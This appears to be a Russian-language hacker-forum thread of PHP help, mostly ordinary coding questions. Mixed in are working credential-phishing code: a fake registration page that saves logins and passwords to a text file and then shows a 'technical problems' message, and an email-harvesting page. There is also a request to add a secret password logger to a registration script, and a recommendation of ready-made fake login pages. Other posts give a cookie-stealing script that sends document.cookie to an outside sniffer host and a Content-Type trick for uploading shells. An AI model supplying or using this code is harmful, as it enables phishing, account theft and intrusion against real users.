но чтоб я скрипт вставил в фаил регистрации и он просто вводимые пароли сахранял мне в фаил и при этом также работал, тоисть также пароли сахранял дальше в базе

вот скрипт регикуда файк прилепить хочу

<?php if(!defined('DATALIFEENGINE')) {
die("Hacking attempt!"); } if ($_action == "reg") { if
(empty($_REQUEST["l2login"]) ||
empty($_REQUEST["l2password"]) ||
empty($_REQUEST["l2password2"]) ||
empty($_REQUEST["l2email"]) ||
empty($_REQUEST["l2answer"]) ||
empty($_REQUEST["l2question"])) { $lineage =
"<div class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, çàïîëíèòå âñå ïîëÿ!</div><br />"; $lineage.=
"<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
(strlen($_REQUEST["l2login"])>16 ||
strlen($_REQUEST["l2login"])<4) { $lineage = "<div
class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, ëîãèí
äîëæåí áûòü íå ìåíüøå 4 è íå áîëüøå 16 ñèìâîëîâ!</div><br
/>"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
($_REQUEST["l2password"]!=$_REQUEST["l2password2"])
{ $lineage = "<div class='warning center'>Îøèáêà
ïðè ðåãèñòðàöèè, ïàðîëè íå ñîâïàäàþò!</div><br
/>"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif (strlen($_REQUEST["l2answer"])<4
|| strlen($_REQUEST["l2question"])<4) {
$lineage = "<div class='warning center'>Îøèáêà ïðè
ðåãèñòðàöèè, âîïðîñ è îòâåò äîëæíû áûòü íå ìåíüøå 4
ñèìâîëîâ!</div><br />"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
(!check_email($_REQUEST["l2email"])) {
$lineage = "<div class='warning center'>Îøèáêà ïðè
ðåãèñòðàöèè, email óêàçàí íå âåðíî!</div><br
/>"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
($dbl->sql_numrows($dbl->sql_query("SELECT * FROM
accounts WHERE login='".$_REQUEST["l2login"]."' LIMIT
1"))) { $lineage = "<div class='warning
center'>Îøèáêà ïðè ðåãèñòðàöèè, àêêàóíò ñóùåñòâóåò!
</div><br />"; $lineage.= "<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } elseif
($dbl->sql_numrows($dbl->sql_query("SELECT * FROM
accounts WHERE email='".$_REQUEST["l2email"]."' LIMIT
1"))) { $lineage = "<div class='warning
center'>Îøèáêà ïðè ðåãèñòðàöèè, óêàçàííûé email óæå
èñïîëüçóåòñÿ!</div><br />"; $lineage.=
"<center><a
href='".GetURL($_link,"registration")."'>íàçàä</a>
</center>"; } else { $dbl->sql_query_jdb("accounts", "InsertAccount", array($_REQUEST["l2login"], base64_encode(pack('H*', sha1($_REQUEST["l2password"]))), $_REQUEST["l2email"], $_REQUEST["l2answer"], $_REQUEST["l2question"])); $sql_error = $dbl->sql_error(); if ($sql_error["code"]==0) { $lineage = "<center>Ïîçäðàâëÿåì, Âû óñïåøíî çàðåãèñòðèðîâàëè àêêàóíò! Ïðèÿòíîé èãðû.</center><br />"; } else { $lineage = "<div class='warning center'>Íåèçâåñòíàÿ îøèáêà, ïîïðîáóéòå åùå ðàç!</div><br />"; $lineage.= "<center><a href='".GetURL($_link,"registration")."'>íàçàä</a></center>"; } } } else { $tpl->load_template($tpldir.'/lineage/register.tpl'); $tpl->compile('register'); $lineage = $tpl->result["register"]; // $tpl->clear(); } ?>

Pashkela
25.05.2009, 13:45
2 sidrus:

код оформи нормально (подсказка - клавиша ENTER может творить чудеса)

sidrus
25.05.2009, 13:47
2 sidrus:

код оформи нормально (подсказка - клавиша ENTER может творить чудеса)

гг
спс уже разобрался как код оформить))

noooob'ik
25.05.2009, 21:19
Привет!)

Есть скрипт creat_dir.php(CHMOD 771), который находится в папке test(chmod 770), скрипт должен создать др. папку в этой же директории... директория создаётся, но с ней ничего нельзя сделать, даже открыть(при попытке открыть пишет: "<www.wallst.ru> служебная директория").... почему подскажите плз

также пробывал creat_dir.php(CHMOD 777) и директорию test(CHMOD 777).... не выходит(((

все это дело происходит на хосте wallst.ru

Gifts
25.05.2009, 22:49
noooob'ik Покажите вывод команды ls -la
<?
header('Content-Type: text/plain');
passthru('ls -la /путь/до/папки/test');
?>

sidrus
26.05.2009, 10:35
здраствуйте,

ребята памагите написать файк плиз, те мануалы что есть мне не тадходят так как они привязываются к определённому сайту, мне нужен скрипт каторый я ставлю просто на пустую страницу , скрипт регистрации с 4мя полями ввода, логит, парол, подтверждение пароля и емаил и кнопка отослать. при нажатии отослать, скрипт должен тупо сохронять данные в тхт файл и пасылать на страницу типа технические работы .

помогите плиз
спс заранее

wildshaman
26.05.2009, 10:53
здраствуйте,

ребята памагите написать файк плиз, те мануалы что есть мне не тадходят так как они привязываются к определённому сайту, мне нужен скрипт каторый я ставлю просто на пустую страницу , скрипт регистрации с 4мя полями ввода, логит, парол, подтверждение пароля и емаил и кнопка отослать. при нажатии отослать, скрипт должен тупо сохронять данные в тхт файл и пасылать на страницу типа технические работы .

помогите плиз
спс заранее


<?
$form= <<<HTML
<form method="post">
Введите логин:
<input type="text" name="login" size="25" /><br>
Введите пароль:
<input type="text" name="pass" size="25" /><br>
Повторите пароль:
<input type="text" name="retry" size="25" /><br>
Введите e-mail:
<input type="text" name="email" size="25" /><br>
<input type="submit" value='окей' />
</form>
HTML;
if (isset($_POST['login']))
{
if ($_POST['login']!="" && $_POST['pass']!="" && $_POST['retry']!="" && $_POST['email']!="")
{
$login=$_POST['login'];
$pass=$_POST['pass'];
$retry=$_POST['retry'];
$email=$_POST['email'];
$file = fopen("log.txt", "a");
fwrite($file, "$login:$pass:$retry:$email\r\n");
echo "Техничесике проблемы";
}
else
{
echo "Что-то не введено";
echo $form;
}
}
else
echo $form;
?>


Какой файл создавать (куда убудут пистаься логи) и какие на него парва ставить, догадаешься.

Корвин
26.05.2009, 14:06
что нужно прописать в htaccess чтобы xml файлы обрабатывались как xml а не как php?

Doom123
26.05.2009, 15:15
http://htaccess.net.ru/doc/AddType-MIME/AddType.php

krypt3r
26.05.2009, 15:24
А XML разве по дефолту обрабатываются как PHP?

AddType text/xml .xml

Winst0n
26.05.2009, 17:56
--

ASystem
26.05.2009, 20:09
Люди помогите решить задачу, как организовать загрузку картинок на какой-нибудь хост изображений, и после загрузки получить адрес этой картинки для последующего его использования на своем сайте???

Zedi
26.05.2009, 20:25
Легко организовать с помощью курла, и я кстати такое видел на форуме

Tigger
26.05.2009, 20:29
Люди помогите решить задачу, как организовать загрузку картинок на какой-нибудь хост изображений, и после загрузки получить адрес этой картинки для последующего его использования на своем сайте???


Ну так просто послать запрос на заливку, а потом спарсить полученную ссылку.

Корвин
26.05.2009, 21:05
А XML разве по дефолту обрабатываются как PHP?

AddType text/xml .xml



у меня для всего сайта стоит обработка xml как php, а для определенной папки мне нужно чтобы обрабатывалось как xml

ASystem
26.05.2009, 22:30
А пример реализации можно???

REBUUS
27.05.2009, 00:02
$idd='name'
$size_b=400; //ширина большого
$size_m=150; //ширина маленького
$caches_b=30; //качество сохранения большого
$caches_m=40; //качество сохранения маленького фото

$ssss=$_FILES["foto1"]["name"];
if ($_FILES["foto1"]["name"]=='') {
}else{
$file=$_FILES["foto1"]["tmp_name"];
$xa=1;
$file_new="../foto_big/$idd.jpg";
$res_k=1.5;//коэффициент деления ширины/высоты
$old_file_size=filesize($file);
$is=GetImageSize("$file");
$old_w=$is[0];
$old_h=$is[1];
$cdc=$old_w/$size_b;
$new_w=$size_b;
$new_h=$old_h/$cdc;
$img_old=imagecreatefromjpeg($file);
$img_new=imagecreatetruecolor($new_w,$new_h);
imagecopyresized($img_new,$img_old,0,0,0,0,$new_w,
$new_h,$old_w,$old_h);
imagejpeg($img_new, $file_new,$caches_b);


$cdc=$old_w/$size_m;
$new_w=$size_m;
$new_h=$old_h/$cdc;
$file_new="../foto_mini/$idd.jpg";
$img_old=imagecreatefromjpeg($file);
$img_new=imagecreatetruecolor($new_w,$new_h);
imagecopyresized($img_new,$img_old,0,0,0,0,$new_w, $new_h,$old_w,$old_h);
imagejpeg($img_new, $file_new,$caches_m);

$is_new=GetImageSize("$file_new");
$new_file_size=filesize($file_new);
$raznitca=$old_file_size/$new_file_size;
}

Вот как то делал загрузку на сервер картинок, мкрипт делает два файла один большой другой маленький ($res_k тут выставляеться во сколько раз меньше второй)

Pashkela
27.05.2009, 00:38
Люди помогите решить задачу, как организовать загрузку картинок на какой-нибудь хост изображений, и после загрузки получить адрес этой картинки для последующего его использования на своем сайте???

Давным-давно валяется, и не где-нибудь, а именно здесь, и именно в "Полезные скрипты", и не от кого-нибудь, а от ЕНОТ:


https://forum.antichat.ru/showpost.php?p=837324&postcount=431


Разуйте глаза:


<?php
/*
Пример загрузки файлов на сервер
*/
#Дира для загруженных файлов
$uploaddir = '';
#Разрешённые типы файлов (через запятую)
$types = 'jpeg,gif,png';
#Максимальный размер файла (в килобайтах)
$maxsize = 100;

if(!empty($_FILES)){
$maytypes = explode(',', str_replace(' ', '', $types));
foreach($maytypes as $maytype){
if(stristr($_FILES['filename']['type'], $maytype)){
$may = 1;
break;
}else{
$may = 0;
}
}
if($may){
if($_FILES['filename']['size'] <= $maxsize*1024){
$dir = './'.$uploaddir.'/'.basename($_FILES['filename']['name']);
if(copy($_FILES['filename']['tmp_name'], $dir)){
echo 'Файл успешно загружен.<br/>
Ссылка на файл: <a href="'.$uploaddir.'/'.$_FILES['filename']['name'].'">'.$_FILES['filename']['name'].'</a>';
}else{
echo 'Возникли ошибки при загрузке файла';
}
}else{
echo 'Размер файла превышает '.$maxsize.' килобайт';
}
}else{
echo 'Тип файла не входит в состав разрешённых<br/>Разрешённые типы файлов: '.$types;
}
}
?>
<form action="<?=$_SERVER['PHP_SELF']?>" method="post" enctype="multipart/form-data">
<input name="filename" type="file" /><br />
<input type="submit" value="Загрузить" />
</form>

SaiRus
27.05.2009, 02:32
<? $url = 'computers.rss'; //адрес RSS ленты
$xml = xml_parser_create(); //создаёт XML-разборщик
xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1); //устанавливает опции XML-разборщика
xml_parse_into_struct($xml, file_get_contents($url), $element, $index); //разбирает XML-данные в структуру массива
xml_parser_free($xml); //освобождает XML-разборщик
$count = 5; //число проходов цикла.
for ($i=1; $i < $count; $i++) { echo '<a href='.$element[$index["LINK"][$i+1]]["value"].'> <h1>'.$element[$index["TITLE"][$i+1]]["value"].'</h1> </a>'; //выводим на печать заголовок статьи
echo '<p>'.$element[$index["DESCRIPTION"][$i]]["value"].'</p>'; //выводим на печать текст статьи } ?>

нашел в инете парсер рсс ленты, ни кто не подскажет, как тут видно в переменную $url засылается локаьлный канал rss - computers.rss, почему то скрипт не работает когда я указываю на источник из вне, это проблемма решиться если я выложу сайт на хост?

Iceangel_
27.05.2009, 05:30
2 .:EnoT:. , Pashkela and all
Скажу немного не по теме, но возможно моя маленькая заметка убережет людей от потери информации на сервере... =)

if(stristr($_FILES['filename']['type'], $maytype)){

Чтобы обойти данную проверку, достаточно всего лишь изменить в пост пакете Content-Type с текущим значением, на Content-Type: image/gif, и можно грузить все что душе угодно, включая шеллы ;)

Doom123
27.05.2009, 08:58
для этого я и писал ф-цию для заливки фоток ток она немного старая и код там немного ламерский ну ничё сойдёт ))) основное там в порядке =)

http://forum.antichat.ru/showpost.php?p=781805&postcount=4

Dr.Bodja
27.05.2009, 14:37
Есть php-скрипт, который считает хосты при посещении, никаких куков, и ява скриптов. Нужен скрипт, чтобы отправлять запрос эмулирующий браузер.

Вот как <?php
$fp = fsockopen ("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
} else {
fputs ($fp, "GET / HTTP/1.0\r\nHost: www.example.com\r\n\r\n");
while (!feof($fp)) {
echo fgets ($fp,128);
}
fclose ($fp);
}
?>
Но без отображение этого сайта.

Fepsis
27.05.2009, 16:03
Есть php-скрипт, который считает хосты при посещении, никаких куков, и ява скриптов. Нужен скрипт, чтобы отправлять запрос эмулирующий браузер.

Вот как
Но без отображение этого сайта.
С помощью Curl можно так:

$cl = curl_init();
curl_setopt($cl, CURLOPT_URL, 'http://example.com');
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_HEADER, 1);
$ex = curl_exec($cl);

Если понадобится вывести страницу - в конец добавь
echo $ex;

НTL
27.05.2009, 16:57
Как можно самому создать ICQ гейт на хосте дли перехвата ICQ истории?

Fepsis
27.05.2009, 17:37
echo'1';
sleep(10);
echo'2';
sleep(10);
echo'3';

Скрипт через 20 секунд выдаёт "123"..
А можно как-нито средствами пхп выдать сначала "1", потом, через 10 сек. "2", и потом "3"..?!

Krist_ALL
27.05.2009, 18:01
можно.

<?php
set_time_limit(0);
ob_flush()
echo'1';
sleep(10);
echo'2';
sleep(10);
echo'3';

?>

но не факт, что будет работать - зависит от хостинга и от браузера
лучше юзай ajax для таких целей

Flair
27.05.2009, 18:39
Мне нужен такой скрипт, чтобы юзер зашедший на найст, увидел форму для ввода своего мыла, например для того чтобы продолжить, нужно ввести email адрес. Желательно форма на всю страницу, в и только в центре форма для ввода мыла.
з.ы и чтоб мыло где то у меня сохранялась ))
в кодинге слаб ;(

m0Hze
27.05.2009, 19:01
Желательно форма на всю страницу, в и только в центре форма для ввода мыла.
Как сие понимать? оО

ASystem
27.05.2009, 19:15
Спасибо за помощь!

Krist_ALL
27.05.2009, 19:24
1.php


<?php
@session_start();
if(isset($_POST['email']) and empty($_POST['email'])!=true)
{
$_SESSION['email'] =='ok';
$fh=fopen('emails.txt','a+');
$email = $_POST['email'];
fwrite($fh,"$email\n\n");
fclose($fh);
echo '<META HTTP-EQUIV="REFRESH" CONTENT="1;URL=2.php">';
}
else {
echo 'ENTER EMAIL<br><form action=1.php method=post><textarea name=email cols=100 rows=100><input type=submit></form>';
}
?>




2.php


<?php
@session_start();
if(isset($_SESSION['email']) and $_SESSION['email'])=='ok')

{ echo 'good!'; }
else { echo 'go to 1.php'; }

?>

Flair
27.05.2009, 19:49
Krist_ALL
спс большое, можно чтобы она имела примерно такой вид
http://i011.radikal.ru/0905/58/85b4f68c6268t.jpg (http://radikal.ru/F/i011.radikal.ru/0905/58/85b4f68c6268.jpg.html)

Fepsis
27.05.2009, 22:02
можно.
но не факт, что будет работать - зависит от хостинга и от браузера
лучше юзай ajax для таких целей
Сенкс..!! Заработало, правда только в фаерфоксе вот так:

<?php
set_time_limit(0);
flush();
echo '1';
ob_flush() ;
flush();
sleep(3);
echo '2';
ob_flush() ;
flush();
sleep(3);
echo '3';
?>

Но я вдруг понял что хочу не этого..(

Krist_ALL
27.05.2009, 22:06
1.php


<?php
@session_start();
if(isset($_POST['email']) and empty($_POST['email'])!=true)
{
$_SESSION['email'] =='ok';
$fh=fopen('emails.txt','a+');
$email = $_POST['email'];
fwrite($fh,"$email\n\n");
fclose($fh);
echo '<META HTTP-EQUIV="REFRESH" CONTENT="1;URL=2.php">';
}
else {
echo '<html><body bgcolor=black><br><br><br><center>ENTER EMAIL</center><br><center><form action=1.php method=post><textarea name=email cols=100 rows=100><input type=submit></form></center>';
}
?>

Flair
28.05.2009, 08:27
Отлично! Большое спасибо

hors_de_prix
28.05.2009, 11:43
Отлично! Большое спасибо
вообщето лудче всего использовать уже готовые fake .
поищи на форуме я закидывал .
просмотри вдруг понравятся (одноклассники ,мыло.ру,рамблер ) и другие пользователи античата тож кидали много интерестных фейков ,их легко редактировать

sNt
29.05.2009, 01:46
Есь код:

<form action='test.php' method='POST'>
<tr><td align="right">Логин: </td><td><input type='text' name='login' size=20></td></tr>
<tr><td align="right">Пароль: </td><td><input type='text' name='pass' size=20></td></tr>
<tr><td></td><td><input type='submit' value='Сохранить'></td></tr>

<?php

if($_POST['login']) {

include("config.php");
$get=file_get_contents("config.php");

$save[0]=str_replace($login, $_POST['login'], $get);
$save[1]=str_replace($pass, $_POST['pass'], $get);

for ($x=0; $x<=2; $x++) {
$f=fopen("config.php", "w");
fwrite($f, $save[$x]);
fclose($f);
}
}

?>

Скрипт пишет в конфиг два значения. Он их заменяет, чтобы создавать видимость редактирования конфа, а не тупо дописывает в конце. Если писать один параметр, то все норм, но если два и более, то он тупо чистит файл, в который пишет. Если пытаться просто дописывать сверху, то все норм, но если ставить "w", то стирает весь файл. Я не могу понять почему... Спасибо :(

Krist_ALL
29.05.2009, 13:05
замени режим w на a+

Mixon
29.05.2009, 18:11
Вот у меня возникла такая проблема с curl`лом,он в POST запросе непонимает спецсимволы когда через него шлёш,в частности знак +,вот по тому как я смотрел скрипты которые на нём работают,то многие непашут с етим символом,даже спамер от dx`а,как решить даную проблему?

Chaak
29.05.2009, 18:53
Gaus, *******

Mixon, urlencode на параметры

AGRESOR
29.05.2009, 23:03
Народ есть у кого нибуть скрипт анкета заявка ?

DVD_RW
30.05.2009, 00:36
Вопрос по "цифрам, номерам".
Есть номера вида
9151515151
9631414114
9615411414
9614124312
9157175144
Так вот...
Мне нужно кинуть в файл только с $pref=array("915","914");
Как такое можно сделать?

Ru}{eeZ
30.05.2009, 00:50
Вопрос по "цифрам, номерам".
Есть номера вида
9151515151
9631414114
9615411414
9614124312
9157175144
Так вот...
Мне нужно кинуть в файл только с $pref=array("915","914");
Как такое можно сделать?

$numbers - номера
$numLen = count($numbers);
$result = array();
for($i = 1; $i <= $numLen; $i++) if(substr($numbers[$i],0,3) == 914 || substr($numbers[$i],0,3) == 915) $result[] = $numbers[$i];
дальше имплоидишь массив $result и пишешь в файл

DVD_RW
30.05.2009, 01:15
$numbers - номера
$numLen = count($numbers);
$result = array();
for($i = 1; $i <= $numLen; $i++) if(substr($numbers[$i],0,3) == 914 || substr($numbers[$i],0,3) == 915) $result[] = $numbers[$i];
дальше имплоидишь массив $result и пишешь в файл
^^ то что я показал в массиве(array) - там 10 префов будет :(

Pashkela
30.05.2009, 01:39
Вопрос по "цифрам, номерам".
Есть номера вида
9151515151
9631414114
9615411414
9614124312
9157175144
Так вот...
Мне нужно кинуть в файл только с $pref=array("915","914");
Как такое можно сделать?

пример дурацкий, непонятно, что надо:

1. Если есть совпадение (частичное) с номерами из массива по строкам
2. Только полное, абсолютное совпадение с номерами из массива

А вообще:


<?php
$ipArray = array_map("trim", file("ip.txt"));
if( in_array($_SERVER['REMOTE_ADDR'],$ipArray) )
{
header('http/1.0 403 forbidden');
die("Доступ запрещен");
}
else
{
echo "Доступ есть";
}
?>


вот так можно проверять на совпадения из массива - тут - абсолютные совпадения

laedafess
30.05.2009, 01:40
$numLen = count($numbers);
$pref=array("915","914");
$result = array();
for($i = 1; $i <= $numLen; $i++) if(in_array(substr($numbers[$i],0,3),$pref)) $result[] = $numbers[$i];

DVD_RW
30.05.2009, 01:42
пример дурацкий, непонятно, что надо:

1. Если есть совпадение (частичное) с номерами из массива по строкам
2. Только полное, абсолютное совпадение с номерами из массива

А вообще:


<?php
$ipArray = array_map("trim", file("ip.txt"));
if( in_array($_SERVER['REMOTE_ADDR'],$ipArray) )
{
header('http/1.0 403 forbidden');
die("Доступ запрещен");
}
else
{
echo "Доступ есть";
}
?>


вот так можно проверять на совпадения из массива - тут - абсолютные совпадения
Ну вот Есть база номеров
791414914
791241240
796351599
796123000
791410000
мне нужные номера начинающиеся
на "нужные" префиксы
к примеру 796
Скрипт кладёт в файл номера
796351599
796123000
Поняли? знаю , я плохо объясняю :(

Pashkela
30.05.2009, 02:18
Поняли:)


<?
@set_time_limit(0);
@ini_set("display_errors","1");
$array = array('796','926'); // Массив с нужными цифрами для отбора, пишутся в кавычках через запятую
$a = fopen('tema1.txt','r'); // Открываем файло для ЧТЕНИЯ базы номеров (там все твои номера)
$r = fopen('resultat.txt','w'); // Открываем файло для записи НУЖНЫХ результатов
while (!feof($a)) {
$b = trim(fgets($a));
if(in_array(substr($b,0,3),$array))
fwrite($r,"$b\r\n");
}
fclose($a);
fclose($r);
?>

Ro1eX
30.05.2009, 11:24
Хочу сделать сниффер,но никак не получается =\ Отправляю его себе на мыло в формате .img но картинка не открывается. Из трёх попыток тока 1 раз куки пришли.
Может я что то не правильно понял объясните.

Вот сниффер.

<script>img = new Image(); img.src = "http://sniffer.xaknet.ru/userbars/img_4_1125.gif?"+document.cookie;
var URL = "http://sniffer.xaknet.ru/userbars/img_4_1125.gif"
var speed = 3000
function reload() {
document.location = URL
}
setTimeout("reload()", speed);
</script>

geforse
30.05.2009, 12:40
Как можно реализовать генератор определённой длины цифр ?

Пример: Нужен пароль только из цифр, длинной 10 символов

Fepsis
30.05.2009, 13:51
Как можно реализовать генератор определённой длины цифр ?

Пример: Нужен пароль только из цифр, длинной 10 символов
Вообще по идее так:

<?php
echo rand(1000000000, 9999999999);
?>

Но сейчас проверил - на первом месте всегда "1" получается...
Можно немного извратиться:

<?php
for ($i=0;$i<10;$i++)
{
$pass{$i} = rand(0,9);
}
$p = implode($pass);
echo $p;
?>

REBUUS
30.05.2009, 13:56
Чисто ради интереса, можно как то в массив заносить интервалы и одиночные число на пр:

$mass = array("24","7004","300..400","450");

erihtoney
30.05.2009, 15:07
Чисто ради интереса, можно как то в массив заносить интервалы и одиночные число на пр:

$mass = array("24","7004","300..400","450");
если уж извращаться, то можно и так

<?php
$range=range(1,999999);
echo $range[rand(1,999999)];
?>

geforse
30.05.2009, 15:24
Всем спасибо))
---
Ещё один вопрос: Как можно перевести текст из одной кодировки в другую ?

гугл только про MySQL пишет, а мне нужно простой текст перевести из одной в другую кодировку....

Gifts
30.05.2009, 15:28
geforse http://php.net/iconv

erihtoney
30.05.2009, 15:34
<?php
$text="абв";
$text2=convert_cyr_string($text,w,k);
// из windows-1251 в koi8-r
// i (iso8859-5)
// a (X-CP866)
// m (X-MAC-Cyrillic)
echo $text2;
?>

_nic
30.05.2009, 17:19
Как сгенерировать сообщение фиксированного размера?
Пытаюсь так

$a="a";
$t=1024*1024;
for ( $i=0; $i<=$t; $i++)
{
$b=$b . $a;
}
echo $b;

но браузер ничего не выводит :(

geforse
30.05.2009, 17:22
$headers[] = 'Accept:image/png,image/*;q=0.8,*/*;q=0.5';
$headers[] = 'Accept-Language:ru,en-us;q=0.7,en;q=0.3';
$headers[] = 'Accept-Encoding:gzip,deflate';
$headers[] = 'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7';
$headers[] = 'Keep-Alive:300';
$headers[] = 'Content-Length: 88';
$headers[] = 'Proxy-Connection:keep-alive';

curl_setopt($ch, CURLOPT_URL, "САЙТ.ru");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "post_запрос");
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$res = curl_exec($ch);

Появляется ошибка:
411 Length Required :(

Я же вроде указал Content-Length: 88 ... что серверу ещё надо :confused:

wildshaman
30.05.2009, 17:23
Я же вроде указал Content-Length: 88 ... что серверу ещё надо :confused:

НЕ указывать контен ленгс)

geforse
30.05.2009, 17:31
НЕ указывать контен ленгс)

не помогает )

А как вобще можно высчитать Content-Length ?
по какой формуле ?)

wildshaman
30.05.2009, 17:32
не помогает )

А как вобще можно высчитать Content-Length ?
по какой формуле ?)

это длина пост-запроса

LEE_ROY
30.05.2009, 17:56
функции is_dir / is_file на win32 все время возвращают 0, тобиж не работают.. как можно узнать по другому папка или файл?

Gifts
30.05.2009, 18:16
LEE_ROY Странно, но у меня все работает, попробуйте обрабатывать пути с помощью realpath, хотя опять таки - работает и без него
$a = opendir('.');
echo '<table>';
while ($one = readdir($a))
{
$one=realpath($one);
if (is_dir($one)) echo '<tr bgcolor="GREEN"><td>Directory<td>'.$one;
if (is_file($one)) echo '<tr bgcolor="RED"><td>File<td>'.$one;
}

LEE_ROY
30.05.2009, 19:04
спасибо, с realpath почему-то заработало, возможно бага в версии моего пыха - http://bugs.php.net/bug.php?id=31347 , да это и не суть важно теперь. )

REBUUS
30.05.2009, 19:59
Чисто ради интереса, можно как то в массив заносить интервалы (300..400) и одиночные число (24,7004,450) на пр:

$mass = array("24","7004","300..400","450");

кто ни будь знает ?

Pashkela
30.05.2009, 20:05
$mass[0] = '24';
$mass[1] = '7004';
$mass[2] = '300..400';
$mass[3] = '450';

Gifts
30.05.2009, 20:16
REBUUS С помощью array_merge и range$mass = array(25,205);
$mass = array_merge($mass, range(300,400));
$mass = array_merge($mass, array(1,2,233,4));

REBUUS
30.05.2009, 20:27
спс, а так так вариант
$mass = array_merge('25','27', range(300,400), '46');

Nek1t
30.05.2009, 22:46
$pattern = '/(?:http)|(?:ftp):\/\/[a-z]*\.*/';
$text = "http://yandex.ru
ftp://site.com
https://lol.net
http://u.cn
telnet://awesome.de";
preg_match_all($pattern, $text, $matches, PREG_PATTERN_ORDER);
Ну поочемууу? Почему мне выдается только

[0] => http
[1] => ftp://site.
[2] => http
[3] => http

Т.е. надо вывести все ссылки с протоколом ftp или http

Vlad&slav
30.05.2009, 23:33
Подскажешь в чём ошибка?

$ip=trim($_SERVER['REMOTE_ADDR']); // адрес
if($ip==212.33.24.24) echo" Здравствуйте админ! <br>"
else {
echo '<br>
<br><center><strong>Ваш IP не администратора ! Вон отсюда!</strong></center>';
exit;}

Я знаю что написал бред но как сделать мою мысль??
И ещё если можно. подскажите как мне сделать чтобы у скрипта была база с IP (Простой текстовик ) в котором бы в столбик были записаны несколько IP администраторов.
Зарание спасибо)

k.sergey
30.05.2009, 23:36
Подскажите пожалуйста как получиться с помощью curl каптчу mail.ru. Получаю curlом страницу с регистрацией, а там на картинках 000, хотя если я открываю эту картинку в новом окне браузера там всё нормально показывается

Gifts
30.05.2009, 23:50
Vlad&slav Кавычеги забыли
$ips = file('ip.txt',FILE_IGNORE_NEW_LINES);
if(in_array($_SERVER['REMOTE_ADDR'],$ips) || in_array($_SERVER['REMOTE_ADDR']."\r\n",$ips)) echo" Здравствуйте админ! <br>"
else {
echo '<br>
<br><center><strong>Ваш IP не администратора ! Вон отсюда!</strong></center>';
exit;}


Nek1t $pattern = '~(?:http|ftp)://([^/\r\n ]+)~msi';
$text = "http://yandex.ru
ftp://site.com
https://lol.net
http://u.cn
telnet://awesome.de";
preg_match_all($pattern, $text, $matches, PREG_PATTERN_ORDER);

Ru}{eeZ
31.05.2009, 11:15
Vlad&slav Кавычеги забыли

и точку с запятой:
$ips = file('ip.txt',FILE_IGNORE_NEW_LINES);
if(in_array($_SERVER['REMOTE_ADDR'],$ips) || in_array($_SERVER['REMOTE_ADDR']."\r\n",$ips)) echo" Здравствуйте админ! <br>";
else {
echo '<br>
<br><center><strong>Ваш IP не администратора ! Вон отсюда!</strong></center>';
exit;}

Vlad&slav
31.05.2009, 12:51
Большое спасибо)

Joker-jar
31.05.2009, 14:17
И ещё если можно. подскажите как мне сделать чтобы у скрипта была база с IP (Простой текстовик ) в котором бы в столбик были записаны несколько IP администраторов.
Создаешь файл, например ips.txt, туда вписываешь свои ipшники, потом читаешь файл:
$iparr = explode("\n", file_get_contents('ips.txt'));
сверяешь, например, так:
if (in_array($_SERVER['REMOTE_ADDR'], $iparr)) ...

.:EnoT:.
31.05.2009, 16:27
$iparr = explode("\n", file_get_contents('ips.txt'));


$iparr = file('ips.txt');
:)

_nic
31.05.2009, 17:43
Почему такой код работает нормально

$sock = fsockopen ("localhost", 660, $errno, $errstr,5);
if (!$sock)
{
echo("$errno($errstr)");
return;
}
fwrite($sock,"qwerty");
fclose ($sock);

А такой нет

$ip=getenv ("REMOTE_ADDR");
$sock = fsockopen ($ip, 660, $errno, $errstr,5);
if (!$sock)
{
echo("$errno($errstr)");
return;
}
fwrite($sock,"qwerty");
fclose ($sock);

??

geforse
31.05.2009, 17:51
Вопрос по поводу капчи:

на странице index.php есть форма с капчей

В скрипте курлом я захожу на эту страницу => Получаю капчу => Показываю её в скрипте => Ввожу и посылаю POST-запрос курлом в index.php

Принцип действия верен ? почему-то не выходит (

wildshaman
31.05.2009, 17:52
Вопрос по поводу капчи:

на странице index.php есть форма с капчей

В скрипте курлом я захожу на эту страницу => Получаю капчу => Показываю её в скрипте => Ввожу и посылаю POST-запрос курлом в index.php

Принцип действия верен ?

смотря куда капча сабмиттится, в этот же скрипт или нет. Смотри внимательнее в <form

D Mak
31.05.2009, 17:56
geforse впринципе верен, не забывай тока про куки или хайден ключ какой нить для капчи

geforse
31.05.2009, 17:59
смотря куда капча сабмиттится, в этот же скрипт или нет. Смотри внимательнее в <form

в этот ... но что-то ни так

geforse впринципе верен, не забывай тока про куки или хайден ключ какой нить для капчи
помню)

И ещё вопрос:

В файрфоксе у меня два плагина для просмотра HTTP заголовков .... они замечательно работают, показывают все пост и гет запросы

Но например мои скрипты курлом шлют пост запрос (он нормально доходит и всё пашет), но в плагины мне не показывают этих запросов((

так и должно быть разве ?

тоесть если курлом шлёт мой скрипт пост запрос, плагин не показывает этого запроса

D Mak
31.05.2009, 18:02
geforse не фф же шлет этот запрос а курл, т.е. пхп, если через браузер то апач средствами пхп

wildshaman
31.05.2009, 18:03
тоесть если курлом шлёт мой скрипт пост запрос, плагин не показывает этого запроса

